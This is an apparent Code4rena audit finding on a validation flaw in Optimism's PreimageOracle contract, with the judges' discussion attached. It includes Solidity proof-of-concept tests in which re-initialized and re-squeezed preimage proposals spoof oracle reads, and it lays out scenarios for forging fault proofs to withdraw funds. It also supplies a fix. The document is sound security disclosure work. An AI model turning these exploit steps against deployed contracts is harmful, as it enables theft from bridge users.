Spoofing of PreimageOracle via re-`initLPP` & re-`squeezeLPP`

[howlbot-integration[bot]]

Lines of code

https://github.com/code-423n4/2024-07-optimism/blob/70556044e5e080930f686c4e5acde420104bb2c4/packages/contracts-bedrock/src/cannon/PreimageOracle.sol#L416-L437 https://github.com/code-423n4/2024-07-optimism/blob/70556044e5e080930f686c4e5acde420104bb2c4/packages/contracts-bedrock/src/cannon/PreimageOracle.sol#L639-L693

Vulnerability details

Short Summary & Impact

From README: Attack ideas

The Preimage Oracle is trusted to only provide accurate data. Is there a way to get invalid data added and use it to prove an invalid execution trace?

This finding demonstrates how arbitrary Keccak256-encoded data returned from PreimageOracle contract can be spoofed via re-initializing and re-squeezing Large Preimage Proposals (LPPs). The root cause of the vulnerability stems from insufficient input validation for methods initLPP and squeezeLPP: they accept already finalized LPPs, thus allowing an attacker to mutate key LPP parameters. We further demonstrate how this unauthorized LPP mutation can be employed to spoof data returned by the method readPreimage for Keccak256-encoded preimage parts.

Spoofing such crucial data can lead to arbitrary impacts, including (but not limited to) withdrawing all tokens contained in Optimism.

Detailed Description

For Keccak256-encoded data which is too large to be submitted in a single transaction, PreimageOracle contract provides the following route via submitting Large Preimage Proposals (LPPs):

• initLPP creates a new LPP with the specified _uuid, _partOffset, and _claimedSize parameters.
• addLeavesLPP allows to iteratively supply preimage parts of the LPP.
• challengeLPP / challengeFirstLPP allow to permissionlessly challenge the LPP if inconsistencies in the supplied preimage data are detected.
• squeezeLPP finalizes the LPP in case challenged period has passed and the LPP has not been successfully challenged.

The root cause of the vulnerability is in the fact that both initLPP and squeezeLPP do not perform validation whether the LPP has been already initialized resp. finalized. As a result, when an LPP has already been finalized, the following may be exploited by an attacker:

• calling initLPP with the same _uuid but changed _partOffset and/or _claimedSize, allows to update these parameters in the proposal metadata here:

  // Initialize the proposal metadata.
  LPPMetaData metaData = proposalMetadata[msg.sender][_uuid];
  proposalMetadata[msg.sender][_uuid] = metaData.setPartOffset(_partOffset).setClaimedSize(_claimedSize);

• calling squeezeLPP with the same parameters as previously (uuid and pre-/post-state proofs) allows to push the spoofed proposal metadata into the crucial contract variables here:

  // Write the preimage part to the authorized preimage parts mapping.
  uint256 partOffset = metaData.partOffset();
  preimagePartOk[finalDigest][partOffset] = true;
  preimageParts[finalDigest][partOffset] = proposalParts[_claimant][_uuid];
  preimageLengths[finalDigest] = metaData.claimedSize();    

As a result, the authorized preimage parts get updated: the data at the updated (spoofed) partOffset now points to the validated proposalParts[_claimant][_uuid], which is located at the previous (correctly validated) partOffset.

In itself, creating a spoofed authorized preimage part at a new offset doesn't lead to an immediate exploit, because a MIPS program needs also to contain a read instruction for that offset. The following exploit can be easily accomplished then:

1. An attacker creates a withdrawal transaction which reads the total token supply (supply), and withdraws an ammount of tokens they legitimely hold (amt).
2. A MIPS program is submitted to L1, which contains preimage reads for these values: for supply at offset-1, and for amt at offset-2.
3. The attacker supplies two LLPs with the same data:
   • LPP-1: uuid-1, data, offset-1, data-at-offset-1 == supply
   • LPP-2: uuid-2, data, offset-2, data-at-offset-2 == amt
4. As LLPs are correct, they pass all validation, and can't be challenged. Both LLPs are finalized, and the authorized preimage mappings are updated as follows:
   • preimageParts[key][offset-1] = data-at-offset-1 = supply
   • preimageParts[key][offset-2] = data-at-offset-2 = amt
5. The attacker executes an exploit in which they re-init/re-squeeze LPP-1 withoffset-2 instead of offset-2; as a result the authorized preimage mappings are updated as follows:
   • preimageParts[key][offset-2] = data-at-offset-1 = supply
6. The attacker supplies a withdrawal transaction on L1, which claims to withdraw all token supply. As the MIPS program now confirms that, the transaction is executed successfully.

Notice that though Optimism safeguards would prevent this exploit, but according to the rules of the present audit (see README: What Is The Goal of This Audit?)we have:

For the sake of this audit, you should pretend the safeguards don't exist.

Proof of Concept

From README: A Note on POCs

Forge tests are acceptable for any POCs that only need to demonstrate small or isolated properties, but the smart contract test suite is not configured with the full honest challenger behavior nor does it use the actual fault proof VM as the step function.

As the present finding is limited only to PreimageOracle / MIPS contracts, and to the execution of a single instruction FD_PREIMAGE_READ, as well as is independent of the honest challenger behavior or the actual fault proof VM, we employ Forge tests for PoCs.

The tests demonstrating the vulnerability are available in a single file PreimageOracleSpoofing.t.sol, which is to be dropped to packages/contracts-bedrock/test/cannon, and executed via forge test --match-test test_spoof.

The core vulnerability: spoofing via re-initLPP & re-squeezeLPP. In this PoC we demonstrate how an attacker can introduce an additional authorized preimage mapping within the scope of the same LPP by calling initLPP and squeezeLPP with updated data after the LPP has been finalized. We also show that the necessary bond to initialize the LPP is returned to the attacker.

Click to reveal: `test_spoof_via_init_squeeze_when_finalized()`

```solidity function test_spoof_via_init_squeeze_when_finalized() public { // Allocate the preimage data. bytes memory data = new bytes(200); for (uint256 i; i < data.length; i++) { // store i at each 8th byte (compensated for the data length, initial 8 bytes) data[i] = i%8 == 0 ? bytes1(uint8(i+8)) : bytes1(uint8(0)); } bytes32 key = _setStatusByte(keccak256(data), 2); uint256 balanceBefore = address(this).balance; // Init LPP with correct data _initLPP({_uuid: TEST_UUID, _partOffset: 32, _claimedSize: uint32(data.length)}); // Bond is taken assertEq(address(this).balance, balanceBefore - oracle.MIN_BOND_SIZE()); assertEq(oracle.proposalBonds(address(this), TEST_UUID), oracle.MIN_BOND_SIZE()); // Add leaves, and finalize LPP PreimageOracle.Leaf[] memory leaves = _addLeavesLPP(TEST_UUID, data); vm.warp(block.timestamp + oracle.challengePeriod() + 1 seconds); _squeezeLPP(TEST_UUID, data, leaves); // The preimage part is as expected: at _partOffset = 32, data = 32 assertTrue(oracle.preimagePartOk(key, 32)); assertEq(oracle.preimageLengths(key), data.length); assertEq(oracle.preimageParts(key, 32)[0], bytes1(uint8(32))); // read preimage from MIPS, expect to get 32 as the first byte _mips_read_preimage_expect(key, 32, 32 << 24); // Bond is returned assertEq(address(this).balance, balanceBefore); assertEq(oracle.proposalBonds(address(this), TEST_UUID), 0); // We re-init the same LPP with spoofed data _initLPP({_uuid: TEST_UUID, _partOffset: 64, _claimedSize: uint32(data.length - 10)}); // Bond is taken assertEq(address(this).balance, balanceBefore - oracle.MIN_BOND_SIZE()); assertEq(oracle.proposalBonds(address(this), TEST_UUID), oracle.MIN_BOND_SIZE()); // We re-squeeze the LPP using the same proof as for the original one _squeezeLPP(TEST_UUID, data, leaves); // Bond is returned assertEq(address(this).balance, balanceBefore); assertEq(oracle.proposalBonds(address(this), TEST_UUID), 0); // The original preimage part is still valid: at _partOffset = 32, data = 32 assertTrue(oracle.preimagePartOk(key, 32)); assertEq(oracle.preimageParts(key, 32)[0], bytes1(uint8(32))); // The new preimage part is added at _partOffset = 64, but points to the same data, 32 assertTrue(oracle.preimagePartOk(key, 64)); assertEq(oracle.preimageParts(key, 64)[0], bytes1(uint8(32))); // read preimage from MIPS at _partOffset = 64, expect to get 32 as the first byte _mips_read_preimage_expect(key, 64, 32 << 24); // The preimage part length is also spoofed assertEq(oracle.preimageLengths(key), data.length - 10); } ```

The exploit: crossbreeding between two LPPs. In this PoC we show that it is possible to replace the legitimate data at offset-2 (amt) with the spoofed data taken fromoffset-1 (supply) by crossbreeding between two LPPs with different uuids.

Click to reveal: `test_spoof_crossbreed_two_lpps()`

```solidity function test_spoof_crossbreed_two_lpps() public { // Plan: // LPP-1: uuid-1, data, offset-1, data-at-offset-1 // ==> preimageParts[key][offset-1] = data-at-offset-1 // LPP-2: uuid-2, data, offset-2 // ==> preimageParts[key][offset-2] = data-at-offset-2 // re-init/re-squeeze LPP-1 with offset-2 // ==> preimageParts[key][offset-2] = data-at-offset-1 // Allocate the preimage data. bytes memory data = new bytes(200); for (uint256 i; i < data.length; i++) { // store i at each 8th byte (compensated for the data length, initial 8 bytes) data[i] = i%8 == 0 ? bytes1(uint8(i+8)) : bytes1(uint8(0)); } bytes32 key = _setStatusByte(keccak256(data), 2); // Init & squeeze LPP-1 PreimageOracle.Leaf[] memory leaves = _init_add_squeezeLPP(TEST_UUID, 32, uint32(data.length), data); // The preimage part is as expected: at _partOffset = 32, data = 32 assertTrue(oracle.preimagePartOk(key, 32)); assertEq(oracle.preimageLengths(key), data.length); assertEq(oracle.preimageParts(key, 32)[0], bytes1(uint8(32))); // read preimage from MIPS at _partOffset = 32, expect to get 32 as the first byte _mips_read_preimage_expect(key, 32, 32 << 24); // Init & squeeze LPP-2 _init_add_squeezeLPP(TEST_UUID + 1, 64, uint32(data.length), data); // The new preimage part is as expected: at _partOffset = 64, data = 64 assertTrue(oracle.preimagePartOk(key, 64)); assertEq(oracle.preimageLengths(key), data.length); assertEq(oracle.preimageParts(key, 64)[0], bytes1(uint8(64))); // read preimage from MIPS at _partOffset = 64, expect to get 64 as the first byte _mips_read_preimage_expect(key, 64, 64 << 24); // ATTACK! // We re-init the first LPP with spoofed data: // redirect partOffset 64 to data located at partOffset 32 _initLPP({_uuid: TEST_UUID, _partOffset: 64, _claimedSize: uint32(data.length)}); // We re-squeeze the first LPP using the same proof as for the original one _squeezeLPP(TEST_UUID, data, leaves); // // The first LPP preimage part is still valid: at _partOffset = 32, data = 32 assertTrue(oracle.preimagePartOk(key, 32)); assertEq(oracle.preimageParts(key, 32)[0], bytes1(uint8(32))); // The second LPP preimage part is spoofed: at _partOffset = 64, data = 32 assertTrue(oracle.preimagePartOk(key, 64)); assertEq(oracle.preimageParts(key, 64)[0], bytes1(uint8(32))); // read preimage from MIPS at _partOffset = 64, we get now 32 instead of 64 _mips_read_preimage_expect(key, 64, 32 << 24); } ```

Recommended Mitigation Steps

It is enough to disallow re-initializing an already intialized LPP to mitigate this finding:

diff --git a/packages/contracts-bedrock/src/cannon/PreimageOracle.sol b/packages/contracts-bedrock/src/cannon/PreimageOracle.sol
index 77dcfc2..3f02b8e 100644
--- a/packages/contracts-bedrock/src/cannon/PreimageOracle.sol
+++ b/packages/contracts-bedrock/src/cannon/PreimageOracle.sol
@@ -427,6 +427,9 @@ contract PreimageOracle is IPreimageOracle, ISemver {
         // The claimed size must be at least `MIN_LPP_SIZE_BYTES`.
         if (_claimedSize < MIN_LPP_SIZE_BYTES) revert InvalidInputSize();

+        // Revert if the proposal has been already initialized.
+        if (proposalMetadata[msg.sender][_uuid].claimedSize() != 0) revert BadProposal();
+
         // Initialize the proposal metadata.
         LPPMetaData metaData = proposalMetadata[msg.sender][_uuid];
         proposalMetadata[msg.sender][_uuid] = metaData.setPartOffset(_partOffset).setClaimedSize(_claimedSize);

Assessed type

Invalid Validation

[c4-judge]

zobront marked the issue as not a duplicate

[c4-judge]

zobront marked the issue as duplicate of #14

[c4-judge]

zobront marked the issue as satisfactory

[kuprumxyz]

Hi @zobront, I believe that out of 5 findings in this group (the current primary and 4 dups) there are only two that both identify the exploit (as opposed to the root cause / partial exploit), and demonstrate the exploit in integration with the MIPS.sol contract. Let me elaborate:

1. There are two possible impacts for this group of findings: challenging valid claims, and forging/proving invalid claims.

• The impact of challenging a valid claim is that the claimants lose their bonds. Only finding #27 provides a valid PoC and exploit for this impact.
• The impact of forging and proving an invalid claim can be arbitrary, up to withdrawing all funds contained in Optimism. Only the present finding provides a valid PoC and exploit for this impact.

2. Challenging valid claims happens by truncating the data returned from the oracle, when the requested data is located at the end of the LPP, as is demonstrated in #27 (hDatLen == 1 vs. datLen == 12). As a result, the preimageOffset of MIPS.State gets updated to a smaller value, which causes the discrepancy in the MIPS post-state.

3. Modifying _partOffset for the given LPP is only the partial, but not the complete exploit. This is what findings #2, #14, #100 use in their argumentation / PoCs. Citing from this finding:

In itself, creating a spoofed authorized preimage part at a new offset doesn't lead to an immediate exploit, because a MIPS program needs also to contain a read instruction for that offset.

Please see MIPS.sol#L213: if the MIPS program doesn't include the FD_PREIMAGE_READ instruction with the given preimageKey and preimageOffset the oracle data at that offset won't be read; so there is no impact. Please see also the related comment by @ajsutton in another finding.

4. Forging/proving invalid claims happens by supplying fake data for the valid offset which should be present in the MIPS program; this is what the present finding demonstrates. For that, creating two valid proposals with different uuids, and crossbreeding between these LPPs is necessary. As a result, such severe impacts as the withdrawal of total token supply are achievable. Please pay attention to the complete PoC with MIPS integration, as supplied with the present finding.

To summarize: the above shows that either finding #27 or the present finding deserve to be included into the report. As this finding also demonstrates a more severe impact (stealing all funds in Optimism, as opposed to stealing only the locked bonds for a particular FDG claim), I believe this finding is better suited for inclusion into the report.

[zobront]

@kuprumxyz You make a great point here. Thanks for the thorough work. I will be changing this issue to be included in the report.

[c4-judge]

zobront marked the issue as selected for report

[zobront]

@kuprumxyz Can you explain why the crossbreeding UUIDs is necessary? I'm reading this more carefully to ensure it makes sense to include in the report, and it seems as though the attack could work the same way without that piece (hard to tell for sure without access to the internal functions in your test file). Thank you!

[kuprumxyz]

@zobront no problem, happy to explain! But I am on a trip, writing from my mobile, so sorry for the absence of formatting.

Let’s start from the contrary and suppose there is only one LPP/uuid with the given preimage and its digest. There is an amount to be withdrawn, contained in this preimage at a specific offset; we want to execute an exploit in which we withdraw a much larger amount.

If we modify this LPP using the attack, we introduce another offset. But that won’t give us anything, as the amount to be withdrawn still sits in the MIPS program at the old offset, and points to the correct amount. We arrived at the contradiction, showing that one LPP/uuid is not enough.

To introduce a fake amount at the given offset, we need another LPP/uuid. Moreover, to execute an attack using this second LPP, it should a) have the same preimage/digest as the first one, b) have the large fake amount at its offset, which we will use for our withdrawal, and c) be valid, such that it passes the challenge period (only then the attack can be executed). Using this other LPP, we redirect its offset to be that of amount, but use the fake data.

There is an analogy to help understand it. Imagine each LPP as a pointer, having two components: an address, and the data at this address. Due to the attack, you can’t change the data, you can change only the address. Having only one pointer you can’t write to its address the data other than it already has at this address.

[zobront]

@kuprumxyz I don't think this is correct.

If you delete these lines from your POC, I believe it will run exactly as expected and pass:

// Init & squeeze LPP-2
 _init_add_squeezeLPP(TEST_UUID + 1, 64, uint32(data.length), data);

// The new preimage part is as expected: at _partOffset = 64, data = 64
assertTrue(oracle.preimagePartOk(key, 64));
assertEq(oracle.preimageLengths(key), data.length);
assertEq(oracle.preimageParts(key, 64)[0], bytes1(uint8(64)));

// read preimage from MIPS at _partOffset = 64, expect to get 64 as the first byte
_mips_read_preimage_expect(key, 64, 64 << 24);

I understand the point you are trying to make about the offsets needing to be accessed, but there are plenty of ways to do that without separate UUIDs. As an example I haven't fully thought through, the block might use an LPP to get the preimage for the receipts root, which contains all the L1 receipts (including deposit transactions). If you could spoof the read for each receipt to read from the same offset, you could set that offset to a deposit transaction you made and have it multiplied.

Can you help me explain if you're saying the UUIDs are needed for your POC, or are you saying they're needed so that the program reads from the spoofed offset?

[kuprumxyz]

Hi @zobront, I am away now from my laptop, and can’t play with PoCs, or even read the code properly. If that can wait for 24 hours, it would be great; thanks

[zobront]

@kuprumxyz That works. I'll plan to wrap up judging in ~24 hours, so will wait for your response before deciding which write up to include in the final report.

[kuprumxyz]

Hi @zobront,

I agree that the PoC would work with these lines removed, and that I also need separate UUIDs "so that the program reads from the spoofed offset" as you are suggesting. Wrt. your scenario

the block might use an LPP to get the preimage for the receipts root, which contains all the L1 receipts (including deposit transactions). If you could spoof the read for each receipt to read from the same offset, you could set that offset to a deposit transaction you made and have it multiplied.

I admit that it hits the limits of my understanding of the Optimism system, so I can't judge its validity: I've spent only a few days with Optimism, as opposed to your vast experience with it. I would really love to see more details on the above scenario. In particular I don't (yet) understand how in your scenario an LPP can be used once for the receipts root, and then "spoof the read for each receipt to read from the same offset". This somehow sounds like a completely different exploit to me; I would be grateful for clarification.

What I do know is this:

• There are only two ways to introduce valid keys of type 0x02 (Keccak) into the PreimageOracle, namely via squeezeLPP and via loadKeccak256PreimagePart (it's enough to search for the places where e.g. preimagePartOk is modified).
• Taking into account that LPPs work only from the preimage size of 126000 bytes (see the deployed PreimageOracle), this makes these functions essentially mutually exclusive. If a really large preimage (i.e. with the size >= 126000) was introduced via squeezeLPP, then loadKeccak256PreimagePart can't be used to introduce another preimage part with the same digest.
• Notice also that each LPP can be used to read one and only one value of 4 bytes; to read another value even from the same preimage you have to reintroduce this preimage with another offset via another LPP. This is very inefficient as it seems to me, but it's how PreimageOracle's mechanics works right now.
• Taking into account that for a MIPS read instruction to succeed, PreimageOracle needs to contain the respective mapping, and also that we can't modify the mapping for an already existing read using this exploit, the second LPP seems necessary to me. I do admit again that there might be other ways to somehow abuse MIPS programs, which I am not yet aware about.

I feel I can't add any more information at this point, so I leave it to you to assess and decide. Thanks for spending your time on this; your thoroughness is highly appreciated!

[zobront]

@kuprumxyz Thanks for the explanation. I agree with most of what you said, but I think your understanding of "can't modify the mapping for an already existing read" is a bit off.

If we think about this in phases, they're loosely as follows: 1) MIPS program is run off chain, and that determines how the challenger plays. 2) Before needing to call step(), data is loaded into the PreimageOracle. 3) When step() is called, it reads this data.

Let's say we had a disagreement in the final output roots, but that disagreement came from that, at some point in the block's execution, I said there was a second deposit by Zach, and you said that was actually a first deposit by Kuprum. The rest of our execution was the same, but obviously that one different transaction would lead to different output roots (and different amounts of ETH for our wallets).

We would bisect our disagreements and end up on the instruction where your deposit transaction was read. At this point, all we've done is land on an instruction step, we haven't actually settled anything on chain yet. All of that is happening off chain.

I now need to call step() and prove that you were lying. Let's say my receipt for my deposit is at offset 128 in the receipt hash preimage, and yours is at offset 256.

I load everything up with offset 128 and my data, so the checks pass. But offset 128 isn't actually called in your block. Then I perform this attack and change the offset to 256. When I call step, it thinks it's reading your deposit transaction, but it gets the data from mine. So I'm proven right.

I'm sure there are other versions of this, but hopefully this shines some light on why the UUID swap isn't necessary.

With this in mind, I'm going to switch the selected report to one that I feel is a bit more straightforward and only includes the necessary information. I think this was a great find and great write up, just want to ensure this issue is as clear and comprehensible as possible, given that it'll probably be one of the top in the report.

Congrats on a great contest and appreciate the dialogue on this one.

[c4-judge]

zobront marked the issue as not selected for report

[c4-judge]

zobront marked issue #27 as primary and marked this issue as a duplicate of 27

[kuprumxyz]

@zobront thank you for the detailed writeup, really appreciate it. I agree that in light of the above issue 27 offers a much more straightforward description.

Only want to add that you are an exemplary judge; this contest should be considered lucky to have you.